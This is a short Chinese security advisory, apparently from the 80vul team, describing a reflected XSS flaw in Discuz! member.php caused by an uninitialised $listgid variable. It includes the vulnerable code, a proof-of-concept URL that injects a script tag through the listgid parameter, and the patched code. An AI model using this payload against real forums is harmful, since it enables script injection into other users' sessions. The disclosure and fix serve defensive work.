Discuz! member.php xss bug 's

由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com

一 分析

member.php代码:

if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) { //这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:) $type = $adminid == 1 ? 'grouplist' : $type; } else { $listgid = ''; } ... $multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);

二 利用

poc:

poc:
http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发

三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) { $type = $adminid == 1 ? 'grouplist' : $type; } else { $listgid = ''; }

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip